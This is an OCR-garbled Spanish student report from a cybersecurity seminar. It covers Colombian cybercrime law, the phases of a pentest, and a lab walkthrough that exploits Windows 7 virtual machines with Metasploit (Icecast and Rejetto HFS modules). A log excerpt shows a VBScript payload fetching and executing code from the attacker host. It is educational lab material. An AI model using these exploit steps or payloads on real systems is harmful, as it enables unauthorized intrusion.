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RESUMEN

El presente informe técnico se plasma el proceso de cada escenario propuesto en
cada una de las acciones Blue team, Red team como también los aspectos legales
consignando. Los aspectos relevantes del desarrollo de las actividades
relacionadas con el seminario especializacion en Seguridad Informatica, equipos
estratégicos en ciberseguridad Red Team & BlueTeam, exponiendo la seguridad de
la empresa The Whitehouse Security.

En el desarrollo de las actividades encomendadas por la empresa WHITEHOUSE
SECURITY con el fin de llevar a cabo el reclutamiento del personal se desarrollaron
actividades con el fin de analizar y desarrollar los siguientes informes: Etapa 1 -
Conceptos equipos de Seguridad, Etapa 2 - Actuacion ética y legal, Etapa 3 -
Ejecucién pruebas de intrusion y Etapa 4 - Contencién de ataques informaticos.



GLOSARIO

CIBERSEGURIDAD: Conjunto de elementos, medidas y equipos destinados a
controlar la seguridad informética de una entidad o espacio virtual contenidos
deseables de dichas politicas y como le afectan como trabajador definir las reglas
de comportamiento aceptables. La seguridad de la informacion y el modo de tratarla
no es una excepcion. En las siguientes lineas se avanza en los especialmente, la
informacion contenida o circulante.

GESTION DE INCIDENTES: Capacidad para gestionar de manera efectiva eventos
inesperados que pueden perjudicar la operacion de las organizaciones con el fin
minimizar su impacto y mantener o restaurar las operaciones dentro de los tiempos
establecidos.

HARDENIZACION: (palabra en inglés que significa endurecimiento) en seguridad
informética es el proceso de asegurar un sistema mediante la reduccion de
vulnerabilidades en el mismo, esto se logra eliminando software, servicios, usuarios,
etc.; innecesarios en el sistema; asi como cerrando puertos que tampoco estén en
uso.

METASPLOIT: Es una herramienta que permite ejecutar y desarrollar sploits contra
sistemas objetivos. Actualmente se encuentra integrado con Kali Linux, una
distribucion de Linux con diversas herramientas orientadas a la seguridad.

NMAP: Es una herramienta de cddigo abierto para exploraciéon de red y auditoria de
seguridad. Se disefi0 para analizar rapidamente grandes redes. Funciona muy bien
contra equipos individuales.

OPENVAS: Es un framework que tiene como base servicios y herramientas para la
evaluacion de vulnerabilidades y puede utilizarse de forma individual o como parte
de un conjunto de herramientas de seguridad.

PENTESTING: Es una practica para poner a prueba un sistema informatico, red o
aplicacion web para encontrar vulnerabilidades que un atacante podria explotar.

POLITICAS DE SEGURIDAD: Son el instrumento que adopta la empresa para
Proteccion de la infraestructura computacional y todo lo relacionado con esta.

PROTECCION: Actividades que deben realizarse para asegurar los datos y la
infraestructura informatica critica, asi como a la comunidad de usuarios cuando se
responde a un incidente.



INTRODUCCION

En la Etapa 1 se presentan las acciones relevantes, realizadas por el equipo Red
team y Blue team de la empresa The WhiteHose Security, correspondientes al
marco de los criterios éticos y legales de los procesos de seguridad informatica,
analisis e implementacion de herramientas para realizar pruebas de penetracion
y herramientas de ciberseguridad.

Se planteara en detalle los procesos y procedimientos realizados en las
diferentes etapas del pentesting, las herramientas utilizadas en cada una deestas
etapas y sus respectivos analisis en el sistema indagado. Se caracterizara los
factores de vulnerabilidad a partir del analisis de riesgos deseguridad en el
sistema informatico de la empresa, dando a conocer las respectivas acciones
para minimizar o mitigar ataques que se realicen en tiempo real; teniendo en
cuenta funciones y caracteristicas de la informatica.



OBJETIVOS

Objetivos General:

Desarrollo de un informe técnico con todos los aspectos relevantes investigado
durante el seminario de Especializacion en Seguridad Informatica, equipos
estratégicos de Ciberseguridad Red Team y Blue Team en que permita el
establecimiento de estrategias viables para la contencion, formulacion de
recomendaciones y conclusiones que puedan apoyar el desarrollo de las
actividades de los equipos Red Team & Blue Team

Objetivos Especificos

e Registrar los aspectos mas importantes de las actividades establecidas en
las cuatro etapas del seminario de seguridad informatica.

e Conocer las actividades de los equipos Red Team & Blue Team en las
compafiias partiendo de los fundamentos éticos y legales de la normatividad
colombiana.

e Desarrollar todas las etapas de un pentesting a través de un ejemplo de
alguna herramienta que se utiliza para esta activad.

e Identificar y proponer medidas de Hardening a implementarse en un
escenario real, para evitar ataques de seguridad informatica.

e Realizar una penetracion a equipos Windows y validar la vulnerabilidad
encontrada, como parte del equipo Red Team.

e Conocer las leyes y normas colombianas que abarcan la seguridad
informética.



DESARROLLO DEL INFORME

Los conjuntos de actividades planteadas en el seminario estan enmarcados en
cuatro etapas, las cuales se listan y desarrollan.

En el contexto ético, Legal Read Team & Blue Team, se llevaron a cabo tres
procesos; por una parte, las lecturas indicadas para estas etapas suministradas por
el tutor; por otra las busquedas realizadas a través de internet y grupos de
compafieros por whatsapp para ampliar la informacién con relaciéon a las leyes que
existen en Colombia con el fin de identificar las acciones que son tipificadas como
delitos informéticos, el tema de las pruebas de penetracién o pentesting, las
herramientas utilizadas para este tipo de pruebas, como Montaje banco de trabajo,
ejecucion pruebas de intrusion teniendo en cuenta las herramientas suministradas
por el tutor y finalmente la configuracion del Banco de Trabajo, para la realizacion
de la parte practica de esta unidad. De las anteriores consultas y lecturas se obtuvo
la siguiente informacion:



1.1.

1. ETAPA CONCEPTOS EQUIPOS DE SEGURIDAD

Dentro del margen legal en Colombia sobre delitos informéticos y
protecciéon de datos personales redacte con sus propias palabras que
legislacion “leyes, decretos” existen actualmente y las caracteristicas
principales de cada ley.

Como marcos normativos se conocen procesos fundamentales relacionados con la
ley 1273 de 2009 y 1581 de2012 y decreto 1377 de 2013. De estos marcos
normativos resaltamos los articulos ley 1273 de 2009 que fueron vulnerados
acuerdos de confidencialidad:

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. Se
observa que en consecuencia con los procedimientos arbitrario-estipulados
en su acuerdo para la obtencion de datos, incurre en técnicas de intrusion
infiltracion de informacion de sistema de informaticos, objetivo de su
operacion, sin previa autorizacion o consentimiento de los propietarios de
estos datos.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. El que, sin
orden judicial previa intercepte datos informaticos en su origen, En uso de su
operacion realiza interceptaciones de informacién como chuzadas, en aras de
obtener datos de los diferentes objetivos priorizados para su operacion o
continuidad del negocio.

Articulo 269F. VIOLACION DE DATOS PERSONALES. El que, sin estar
facultado para ello, con provecho propio o de un tercero, obtenga,compile,
sustraiga, ofrezca, venda, intercambie, envié, compre, intercepte, divulgue,
modifique o emplea cddigo personal, datos contenidos en ficheros, archivos,
base dedatos o medios semejantes, incurrira en pena de prision 48 a 96
meses y en multa de 100 a 1000 salario minimo.

Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. Lo
anterior refleja al momento de transferir informacion, como podrian ser
patentesde tercero para fines propiamente lucrativos o estratégico.
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1.2.

En el mundo de la ciberseguridad existen procesos definidos para poder
ejecutar deforma organizada lo que se conoce como pruebas de penetracién
0 pentesting; usted como futuro experto debera redactar con sus palabras y
definir cada una de las etapas del pentesting, dentro de la definicidn
incorporara un ejemplo de una herramienta que se utilice paracadaunade las
etapas del pentesting. (Oficial, s.f.)

Pentesting: es una proba que se realiza a una empresa para descubrir si tal
empresa tiene falla informatica y hacker como ingeniera social.

Etapas del pentesting.

Fase de recoleccion de informacion: Es la fase mas importante donde
vamos a reconocer todos los dispositivos y hacer una auditoria completa, en
recopilar informacion sobre el sistema que se va atacar. Aqui podemos utilizar
las herramientas Visualise, Map and Mine Data maltego para poder descubrir
la vulnerabilidad. Para ingenieria social se utiliza social engineering toolkit,
otra técnica es google hacking que a través de los motores de busqueda de
google podemos encontrar informacion de una persona u objetivo. Otra
herramientaes whois que viene siendo el de reconocimiento DNS

Explicacion:

Se inicia la base de dato en maquina kali Linux (kali., s.f.)

llustracion 1 Inicio base de dato maquina Kali Linux

Fle Adons E8t View Hep

:/hone ksl it

Fuente. Luis Ardila

Se salta la base datos.

llustracion 2 Salto a la base de datos

Fuente. Luis Ardila
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Iniciamos con un comando msfconsole.

llustracion 3 Inicio comando msfconsole

Fuente. Luis Ardila

Verificamos el estado de la base de datos con el comando db_ tatus donde podemos
ver que esta conectada.

llustracion 4 Conexion base de datos

Fuente. Luis Ardila
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Para recoger informacion utilizamos el nmap dentro de metaexploi para que valla
directamente a la base de datos.

llustracion 5 nmap dentro metaexploi

Fuente. Luis Ardila

Utilizamos la palabra service me muestra un listado.

llustracion 6 Muestra listado con service

Fuente. Luis Ardila
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Vamos a realizar un exploit al puerto utilizando el comando Search icecast.

llustracion 7 Utilizacion comando Search icecast

ente. Luis Ardila

Indicando que ya esta seleccionada.

llustracion 8 Seleccién icecast.

Fuente. Luis Ardila

Tenemos unas opciones como variable.

llustracion 9 Opcion variable icecast

ente. Luis Ardila
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Asignarle un valor a cada variable.

llustracion 10 Asignacién de valores.

Fuente. Luis Ardila

Ya el valor se encuentra asignado de manera remota.

llustracion 11 Valores asignados de manera remota

Fuente. Luis Ardila
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Ejecutamos, modificamos el valor entramos Mterprete de manera remota Modo de
explotacion utilizando la ayuda help.

llustracion 12 Ingreso Mterprete

Stdapi: Webcam Commands

Imprimimos el directorio donde estamos.

llustracion 13 Impresién de directorio

Fuente. Luis Ardila
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Si queremos saber la id del usuario: getuid y del sistema sysinfo

llustracion 14 id del usuario

Fuente. Luis Ardila

1.3. Fase de modelado de amenaza. Es una técnica de comprobacion cuyo
objetivo es ayudar a identificar y planificarla forma correcta de mitigar las
amenazas de una aplicacion mediante un enfoque moderno de analisis de
gestion de riesgos y la implementacion de medidas o controles que
contribuyan a mejorar la seguridad.En la actualidad, Microsoft es uno de los
principales impulsores de esta técnica,aplicando su vision y proporcionando
diferentes tipos de enfoque y herramientas. Otras entidades, como por
ejemplo OWASP.

e Fase de Andlisis de vulnerabilidades. Basicamente esta fase es la
encargada de analizar toda la informacion recolectada anteriormente,
donde tendremos que identificar vulnerabilidades o posibles vectores de
ataque de los sistemas y a partir de dicho andlisis concluircual seria el
atague mas efectivo. Actualmente existen muchas herramientas para el
andlisis de fallos y vulnerabilidades en el mercado. Una de estas
aplicaciones tipo escaner mas populares es Nessus

e Fase de Explotacion. Es la que se asocia con el pentesting, Acceder a los
Sistema vulnerable que ya se haiga identificado lo que tienen fallos en
obtener nombres de usuarios y contrasefias que nos permita acceder a los
sistemas y a un administrador.

e Fase de Post-Explotacion. En esta etapa, se intenta llegar mas lejos dentro
del sistema vulnerado, es decir conseguir credenciales o permisos de
administrador o incluso vulnerar otros sistemas con mas importancia dentro
de la organizacion por medio de técnicas de pivoting u otras.

17



e Fase de Informe. Luego de finalizar todas las etapas mencionadas
previamente, es el momento de documentar todo lo realizado en un
informe que especifique el proceso realizado en el test de intrusion, como
herramientas utilizadas, técnicas utilizadas y vulnerabilidades
descubiertas.

1.4. Las herramientas de ciberseguridad son de vital importancia, ademas
gue existe un gran abanico de posibilidades de herramientas existentes
y software especializado para desarrollar herramientas propias. Usted
como futuro experto debe definir y explicar las siguientes herramientas:

Metasploit: Para definirlo sencillo digamos que Metasploit es una caja de
herramientas para pentesters, ingenieros de seguridad, investigadores, analistas,
etc. Esta caja de herramientas tiene dos versiones, una gratuita, algo asi como la
community Editions y otra enfocada al mercado Profesional y por tanto obviamente
de pago. Ambas versiones son mantenidas por la empresa de seguridad.

Nmap: Es una herramienta de cédigo abierto que permite la exploracion de redes y
auditoria de seguridad. Su disefio permite el analisis, ejecutar proceso y
procedimientos en grandes redes, aunque también funciona con equipos
individuales (esgeeks, s.f.)

llustracion 15 Herramienta Nmap

’Q ‘ - 1l D '-l [E estudiante@seminario: ~ [E] estudia

Archivo Acciones Editar Vista Ayuda

- eroute: Trac
Fuente. Luis Ardila

Escanear Puertos Con Nmap. Supongamos que el objetivo es esgeeks.com.
salida detallada. Muestra lo que esta sucediendo durante el escaneo.

18



llustracion 16 Nmap -vv esgeeks.com

Archivo Acciones Editar Vista Ayuda

Fuente. Luis Ardila

69.175.23.29 es la direccién IP de del sitio web especificar el nUmero de puerto
nmap -vv -p 1-5000 esgeeks.com.

llustracion 17 nmap -vv -p 1-5000 esgeeks.com.

Initiating Ping Scan at 13:54

Scanning esgeeks.com (69.175.23.29) [4 ports]
Completed Ping Scan at 13:54, 8.51s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:54
Completed Parallel DNS resolution of 1 host. at 13:54, 0.47s elapsed
Initiating SYN Stealth Scan at 13:54

Scanning esgeeks.com (69.175.23.29) [5000 ports]
Discovered open port 110/tcp on 69.175.23.29
Discovered open port 21/tcp on 69.175.23.29

Discovered open port 25/tcp on 69.175.23.29

Discovered open port 995/tcp on 69.175.23.29
Discovered open port 993/tcp on 69.175.23.29
Discovered open port 587/tcp on 69.175.23.29
Discovered open port 3306/tcp on 69.175.23.29
Discovered open port 8@/tcp on 69.175.23.29

Discovered open port 443/tcp on 69.175.23.29
Discovered open port 143/tcp on 69.175.23.29
Discovered open port 53/tcp on 69.175.23.29

Discovered open port 2082/tcp on 69.175.23.29
Discovered open port 2079/tcp on 69.175.23.29
Discovered open port 2095/tcp on 69.175.23.29

Fuente. Luis Ardila
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Encontrar Dispositivos Conectados a La Red encontrar el total de dispositivos
conectados a tu red con la direccion IP nmap —sn 192.168.1.1/24 | grep "Nmap scan
report for"

llustracion 18 direccién IP nmap —sn 192.168.1.1/24

:~# nmap -sn 192.168.1.1/24 | grep "Nmap scan report for"
scan report
scan report
scan report

scan report
scan report
scan report

:#I

Fuente. Luis Ardila

OpenVas. Es una herramienta de uso libre, que permite identificar vulnerabilidades
logrando realizar correcciones de fallas de seguridad. Se trata de un framework que
tiene como base servicios y herramientas para la evaluacion de vulnerabilidades y
puede utilizarse de forma individual o como parte del conjunto de herramientas de
seguridad incluidas en OSSIM. (welivesecurity, s.f.)

ExploitDB: Un exploit es cualquier ataque que aprovecha las vulnerabilidades de
las aplicaciones, las redes, los sistemas operativos o el hardware. (base de datos
de exploits o brechas de seguridad) es un directorio web donde muchos hackers
cuelgan vulnerabilidades de aplicaciones y como aprovecharse de ellas, con
instrucciones especificas (Copyright, 2020)

CVE: Tipo de herramienta cuya caracteristica son las vulnerabilidades vy
exposiciones comunes, en las bases de datos.

20



1.5. Parafinalizar esta actividad es importante que usted reconozca, analice
y configure “banco de trabajo” lo solicitado en el anexo 1 — escenario 1
sobre el cual debera trabajar actividades que contienen un alto grado
de tecnicidad. Lo solicitado en el anexo 1 — escenario 1 es lo siguiente:

e Paso A: Descargar La Herramienta Virtualizadora “Virtualbox” En Su Ultima
Version.

llustracion 19 Imagen Virtualbox

@ Oracle VM Virtuatiox Administrador

fres
mn

|
11

Fuente. Luis Ardila

e Paso B: Unavez se realice apertura del foro para el desarrollo de la actividad
se procedera a compartir enlace de descarga de lo requerido para el montaje
del banco de trabajo, las imagenes en formato. OVA las cuales se encuentran
ya pre configuradas para ser utilizadas en las actividades de caréacter técnico.
En las imagenes. OVA existe: Un windows 7 X86, un windows 7 X64, un Kali
Linux.

llustracion 20 windows 7 X86, un windows 7 X64 en Kali linux

Fuente. Luis Ardila
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e Paso C: Debe validar que exista comunicacién entre cada una de las
maquinas Windows con la maquina de Kali Linux, recuerde por favor no
encender las tres maquinas al tiempo ya que puede colapsar los recursos
hardware de su equipo host, encienda primero una maquina Windows y
posterior a ello encienda la maquina Kali Linux.

llustracion 21 Encendido la maquina Kali Linux.

5 Kali Linux [Corriendo] - Oracle VM VirtuaiBox — =] >

Archivo Maquina Ver Entr: itivos  Ayuda

| KALI I

Kali Linux installer menu (BIOS mode)

E5) Kali Linux [Cormendo] - Oracle VM VirtualBox - o x

Ver Entrada  Dispositivos A

ADOHGREE~00PL BOF »

B &5 ©R0lE e croRon

Fuente. Luis Ardila

Win7-SE2020 - X32 Es un sistema operativo creado por Microsoft. Consiste en un
conjunto de programas que permiten la ejecucién de los recursos que tiene un
ordenador. El significado del término (windows, ventanas) hace alusion a su interfaz
grafica, que presenta un modelo basado en tareas y compartimentos
independientes, con sus propios menus y controles.

Una CPU de 32 bits puede procesar 4 bytes de datos en un ciclo de CPU ya que 8
bits son iguales a 1 byte. Entonces, si el tamafio de los datos a procesar es mayor
a 4 bytes, requeriria que la CPU vaya a otro ciclo para procesar los datos restantes.
Hoy en dia, los procesadores de 32 bits se han vuelto casi obsoletos. Incluso un
ordenador de 10 o 12 afios de edad seguramente esté ejecutando un procesador
de64 bits (Calvo, 2015).
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llustracion 22 Win7-SE2020 - X32

M=

Fuente. Luis Ardila

llustracion 23 Maquina virtual Win7-SE2020-X64

Fuente. Luis Ardila
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e Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar
cdmo se encuentra desplegado “caracteristicas técnicas de hardware”.

llustracion 24 Montaje del banco de trabajo printscreen

V¥ Oracle VM VirtualBox Administrador - o X

Archivo  Maquina  Ayuda

R s @ @ P .

Mueva Configuracén Descartar Mostrar
. ESISeg.DB =] General [®) previsualizacién
Nombre: Kali - Seminario
G Win7-SE2020-X64 Sistema operativo: Debian (64-bit)
W2 © rogecs [®] sistema
Memoria base: 2048 M8
[E] win7-5€2020 Orden de arranque:  Gptica, Disco duro
{7 & comendo Aceleradin: VT-x/AMD-V, Paginacién
anidada,
Paravirtuaiizacén KVM
& (9] pantalla
Memoria de video: 16 M8
Controlador grafico: VBOXVGA
Servidor de escritorio remoto: - Inhabiltado
Grabacién: Inhabiltado

Almacenamiento

Controlador: 1Sy

Fuente. Luis Ardila
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2.1.

2. ETAPA ACTUACION ETICA Y LEGAL

Fragmentos Sacados Textualmente Del Acuerdo De
Confidencialidad

PROCESOS ILEGALES: Que las partes suscriben el presente Acuerdo de
Confidencialidad y se comprometen a mantener cualquier informacién a la
gue tengan acceso en desarrollo de las reuniones y actividades técnicas,
como estrictamente confidencial, absteniéndose de utilizarla, emplearla y/o
divulgarla para el desarrollo de actividades diferentes a las del presente
acuerdo.

DELITO DE ACCESO ABUSIVO: EI Cdadigo Penal colombiano prevé en el
articulo 269A el delito de acceso abusivo a sistema informatico que, ademas
de proteger directamente la seguridad e integridad de los sistemas
informaticos e indirectamente los datos y la informacion informatizada, como
bien juridico colectivo, también resguarda el derecho -constitucional
fundamental a la intimidad personal informéatica (Maya, s.f.)

ESPIONAJE. No Reporta actividades sospechosas que identifiques en el
entorno (Ciudadana, s.f.)

Argumentacion Sobre Aspectos No Eticos E llegales

e En virtud del presente acuerdo de confidencialidad, la parte
receptora, seobliga a no divulgar directa, indirecta, proxima a
remotamente, ni a traves

de ninguna otra persona o de sus subalternos o funcionarios,
autoridadeslegales, asesores o cualquier persona relacionada con
ella, la informaciénconfidencial o sobre procesos ilegales dentro de
Whitehouse Security nopodran ser divulgados”.

e Ningun particular ni empresa privada en Colombia, esta autorizado
para realizar algun tipo de chuzada y espionaje, debido a que es un
delito. Estalabor, sélo pertenece a algunas entidades del Estado
como la Fiscalia, elejército y la policia, entre otros; las cuales
pueden realizar interceptaciones a teléfonos, correos electrénicos,
redes sociales, etc.; con el fin de conseguir informacion para un
caso en particular o reserva de Estado.

En Colombia tenemos la ley 1273 de 2009, la cual hace referencia a la proteccion
de la informacion y de los datos. Segun esta ley, el acuerdo deconfidencialidad
vulnera los siguientes articulos:
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e Articulo 269A: Acceso abusivo a un sistema informatico.
e Articulo 269C: Interceptaciéon de datos informéticos.

Este tipo de delitos buscan proteger el derecho a la privacidad de los datos y las
comunicaciones, tal y como es vulnerado por los delitos tradicionales.

2.2. Andlisis Propuesta Laboral — Punto De Vista Legal Y Etico.

¢ Existiendo procesos poco confiables en el anexo 3 — Acuerdo? ¢usted como
expertoen ciberseguridad aplicaria a este trabajo en The White House, donde la
organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio? Debe argumentar su respuesta ya sea afirmativa
0 negativa y tener en cuenta en la argumentacion lo que se dispone en COPNIA
en su codigo de ética paraingenieros.

Como experto en procesos de ciberseguridad, no aplicaria para este trabajo, ya
que en las diferentes clausulas y acuerdos suscritos en el contrato, no se
especifica de manera clara, concreta y detallada; las formas de como se va a
desarrollar los diferentes procedimientos para el caso de tratar la informacién. Lo
anterior genera unalto grado de desconfianza ya que se puede en algiin momento
estar incurriendo en delitos que la ley puede identificar como irregulares al debido
proceso de la confidencialidad, integralidad, disponibilidad de los datos y de los
sistemas informaticos, descritos en la ley 1273 de 2009.

También se debe tener en cuenta que, para tomar esta decision, contamos con
una herramienta fundamental que permite desarrollar de manera correcta y
eficiente los procesos de tratamiento de la informacidn y que se encuentra
consignado en el cddigode ética de COPNIA, donde se establece del deber ser
del ejercicio de la ingenieria.

Se enuncian algunos articulos de este cddigo de ética COPNIA, que se deben
tener en cuenta:

e ARTICULO 31. Deberes Generales De Los Profesionales.

e ARTICULO 35. Deberes de los  profesionalespara con la dignidad
de sus profesiones.

e ARTICULO 37.Deberes De Los Profesionales Para Con Sus
Colegas Y Demas Profesionales.
e ARTICULO 39. Deberes De Los Profesionales Para Con Sus

clientes Y El Publico En General’.
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2.3.

Analisis desde mi punto de vista sobre la noticia del caso
“operacion andromeda buggly” en la ciudad de Bogota.

Como fundamento de los proceso legales y éticos que se pueden analizar
en el caso “OPERACION ANDROMEDA BUGGLY, se establecen sistemas
de conocimiento con personas expertas en sus areas de profesion, que a
Su vez buscan un trabajo en equipo para poder aprender cosas nuevas de
cada uno desus integrantes, en sintesis podemos estar hablando de un
hackerspace (espacio de hackers), en donde su objetivo principal era
hacerlo parecer una comunidad que se dedica a la seguridad informética y
lo lograron. En el procesode desarrollo de esta comunidad se presentaron
algunos hallazgos que colocaron en duda su correcto funcionamiento, en
este caso estamos hablando de la parte econémica y de financiacion de
esta comunidad para soportar este tipo de proyectos; y en consecuencia
con esto, también se analizaba el tipo de flexibilidad que se tenia para
ingresar a este proyecto sin tener algun tipo de complicacion para su
vinculacion.

en la cual se enmarcaba como objetivo principal adquirir conocimientos
sobre hacking ético, Sin embargo, el hacking ético en ciberseguridad se ha
convertidoen una de las herramientas mas importantes para mejorar la
seguridad de los sistemas, reduciendo sus vulnerabilidades y aplicando las
medidas necesarias para evitar o minimizar los ataques externos (ambit,
s.f.)

Ahora desde la informacion entregada por el General Ernesto Maldonado,
todo se desarrollaba en un entorno legal, cobijada por la Constitucion
Politica de Colombia y por los respectivos reglamentos y manuales de
manejo de las redes informéticas. En contra de lo anterior se denota que,
tanto en parte de losmilitares como de los civiles, no se tenia un control o
supervision de estas acciones que se desarrollaban en dicho lugar;
teniendo por consecuencia el rompimiento de sus propios cédigos de ética,
suscitado por la ambicién y el poderque esto ejercia, el dinero que se
obtenia era demasiado y por consiguiente terminaban vendiendo la
informacion a terceros con fines lucrativos y generandoun gran dafio. Por
acciones anteriormente mencionadas fue donde se dieron cuenta que
desde Buggly se realizaba espionaje a el proceso de paz que se estaba
desarrollando con el gobierno de Colombia.

Las investigaciones luego de ser descubierto estos procesos ilicitos, los
implicados aceptaron la culpa en donde afirman que si hubo malos
manejos y ejecucion de procesos que alli se desarrollaban. Se realiza
exhaustivamente los procesos de investigacién y se determinan las
sanciones y penas de acuerdocon lo establecido por la ley colombiana. (el
tiempo, s.f.)
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3. SITUACION PROBLEMA: ANALISIS RED TEAM

3.1Describa de manera especifica las herramientas software que utilizé para
llevar acabo el anexo 4 —escenario 3enfocado a Redteam. Deberaadjuntar
evidencia de los comandos utilizados y resultados que arrojé cada
herramienta utilizada, estas herramientas deben estar clasificadas segun
los pasos de un pentesting

Para el desarrollo de la actividad solicitada en el anexo 4, se utilizaron las siguientes
herramientas:

e VirtualBox: Es una aplicacion que sirve para hacer maquinas virtuales con
instalaciones de Sistemas Operativos.

llustracion 25 Pantalla de VirtualBox

Fuente. Luis Ardila

e Maquina virtual Kali — Seminario: Es una distribucion basada en Debian
GNU/Linux disefiada principalmente para la auditoria y seguridad informética
en general.
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llustracion 26 Pantalla de Kali linux

Fuente. Luis Ardila

e MAaquina virtual Win7-SE2020-X64-002. Maquina virtual disefiada para
laboratorio configurando la wife porque no habia conexién inalambrica.

llustracion 27 Maquina virtual Win7-SE2020-X64-002

¢ I
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i — & -
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Nueva Configuracén Descartar _ Mostrar

. ESISeq.DB = General [=] previsualizacién
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9 Geneal Red
Wemoria base: 4096 1B
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[&] sistema Adaptador 1 | Adzptador 2 Adspiador3 | Adaptador + Orden de aanque: - Disquete, Gptica, Disco duro
Aceleracién: VT-x/AMD-V, Paginacién anidada, Parav uizacin L
() Pentaiia Habiitar adaptador de red Hyper-
Conectado a: | Adaptador puente - | Seminario [ pantalla
Almacenamiento Corriendo
B Menoria de video: 1238 -
B0 s Normbre: | Realtek RTLB188EL Wireless LAN 802. 11n USB 2.0 Network Adapter sttt e
udio B Avanzadas Servidor de escritorio remoto:  Inhabilitado
& Grabacin: Inhabiltado
Red =
Almacenamiento
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Puerto SATAD:  win7-SE2020-disk00 L.vdi (Mormal, 50,00 GB)
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Adaptador 1: Intel PRG/1000 MT Desktop (Adaptador puente, <Realtek RTLS188EU Wireless LAN 802,110 USB 2.0 Network
£ vss

Fuente. Luis Ardila
°
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Maquina virtual win7-SE2020: Maquina virtual disefiada para laboratorio.

llustracion 28 Maquina virtual win7-SE2020

Fuente. Luis Ardila

Luego de esto se valido el estado del firewall en la maquinas Windows.

llustracion 29 Firewall en la maquinas Windows Deshabilitado

Fuente. Luis Ardila
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e Nmap: esta herramienta me permitié escanear e informa qué puertos estan
abiertos y cerrados, se utiliza para auditorias de seguridad, puede realizar
inventarios de red, planificacion de actualizacion de servicios y la
monitorizacion del tiempo que los equipos o servicios se mantiene activos.

llustracion 30 Escaneo de vulnerabilidad con Nmap

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

Fuente. Luis Ardila
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e Comando Nmap 172.16.1.1: En donde Nmap es el comando en si mismo y
172.16.1.1 es el objetivo (que también puede ser indicado con un nombre de
dominio). La respuesta a estos comandos sera un listado de los puertos
abiertos o cerrados en dicha direccion. La ejecucion sin parametros ejecuta
un escaneo sencillo a los 1000 puertos mas comunes (véase que en la
imagen se muestra uno abierto y 999 cerrados), realizando anteriormente un
ping para ver si el equipo esta vivo (si el equipo no responde al ping, no se
realizard el test de los puertos) (Bortnik, s.f.)

llustracion 31 Comando Nmap 172.16.1.1

Archivo Acciones Editar Vista Ayuda

udiante@seminari

Fuente. Luis Ardila

llustracion 32 busqueda mas detallada de puertos abiertos de otra IP

Fuente. Luis Ardila
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Siguiente herramienta que se usa para un pentesting:

e Metasploit Framework. Es una de las herramientas més utilizadas por los
auditores de seguridad. Incluye una gran coleccion de exploits, aparte de
proporcionarle un entorno de desarrollo para los propios exploits. esta
herramienta también es muy utilizada por los auditores de seguridad debido
a su facil implementacion.

¢ Enlasiguiente fase del pentesting seguiria la explotacion de vulnerabilidades
la cual realice haciendo una validacion especifica utilizando la herramienta
Metaexploitl0 que especificamente es una base de datos de
vulnerabilidades en donde en comunidad se comparten las vulnerabilidades
de aplicaciones, comparten como explotarlas y sacarles provecho.

e Ejecuto el comando de cargar el Metaexploit y su base de datos msfconsole.

llustracion 33 Pantalla Metasploit Framework

B mmis [B] & estudante@seminaric Captur 0L30AM O & & O &
- - o

Archivo  Acciones  Editar Vista Ayuda

dsp
d888888P
d8bdsb.d8p d88ssb 788' d888hsb
88P° 7P' 7P d8b_,dP 88P d8P' 788
d8s d8 78 88b 88b 88b ,88b
dss' dssb 8b’ 78888P' " 78b° 788P'

Fuente. Luis Ardila
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llustracion 34 Utilizando el comando Search de Metasploit

)14-1 V and Mercurial

2014-09-11 Yes Rejetto HttpFileServer Remot

Fuente. Luis Ardila

Explotacion

Esta fase tiene como objetivo explotar las vulnerabilidades encontradas en los
pasos anteriores, como ahora sabemos que Metasploit framerwork permite explotar
la vulnerabilidad abrimos Kali Linux y cargamos el exploit

llustracion 35 Inicio con la maquina Kali Linux con el rejetto

Archivo Acciones Editar Vista Ayuda

our module, v 0

Fuente. Luis Ardila
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llustracion 36 Las dos maquina listo para realizar el ataque.

1 @ Win7-5£2020-X64 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Ayuda

m U R

Aplicacion Rejetto Papelera de usuario
reciclaje

e .

CHA

B u@s 8E@ieemome

>
B & |E i g]® & creomeca
Fuente. Luis Ardila

llustracion 37 Inicio con use

if

Fuente. Luis Ardila
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llustracion 38 Busqueda de la IP de la victima del Windows 7 64 bis

Fuente. Luis Ardila

llustracion 39 IP victima RHOST

Fuente. Luis Ardila

llustracion 40 Busqueda de la IP del servicio en Linux

@015 g @R cmr cerecra

Fuente. Luis Ardila

36



llustracion 41 IP atacante set SRVHOST

Fuente. Luis Ardila

llustracion 42 realizacion Exploit

E&iWin?-SEEDZD-Xﬁd[Cu:urriendn]-Oracle‘-fM‘-firtuaIBu:ux — Od -
Archive Maquina Ver Entrada Ayuda

3 HFS ~ HTTP File Server 2.3 Build 288 =0R=

E Menu | ﬁ? Port: 80 | € You are in Easy mode | «ir-"' Update now

Cerrar
E Open in browser  http://192168.1.222/ Copy to clipboard
Virtual File System Log
: > End If -
= x.Send

= Execute x.responseText.}

09:55:02 a.m. 192.166.1.224:33833 Requested GET
= x.0pen "GET","http://192.168.1.224:8080/c CPIVz¢
= If Err Mumber < 0 Then

= wsh. exit

= EndIf

> x.Send

= Execute x.responseText }

10:40:10 a.m. 192.168.1.224-42885 Requested GET
10:48:15 a.m. 127.0.0.1:49281 Requested GET /

m

Fuente. Luis Ardila

3.2Explotacion de vulnerabilidades

Una vez identificadas las vulnerabilidades se definird como aprovecharlas y asi
comprometer el sistema, la herramienta a utilizar es Metasploit se utilizan los
siguientes comandos:

Msfconsole: Da inicio al Metasploit Framework

Exploit: Lanzar ataque, me permitira tomar ventaja de las fallas en el sistema,
aplicacion y/o servicio

Rhost: Para entrar al host remoto de la victima.
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Sysinfo: Muestra las caracteristicas del equipo
SRVHOST: Host del atacante

PWD: Muestra en que parte me encuentro

3.4. Explique con sus palabras y de manera especifica cOmo afecta el ataque
a la maquina (Windows 7 X64), haga uso de graficos para explicar el
ataque.

El ataque afecta directamente todo lo que se maneje en esa quina y con lo que
tenga contacto a través de red o cualquier puerto de la maquina atacada en este
caso win7x86 y win7x64, particularmente se pueden realizar cualquier tipo de delito
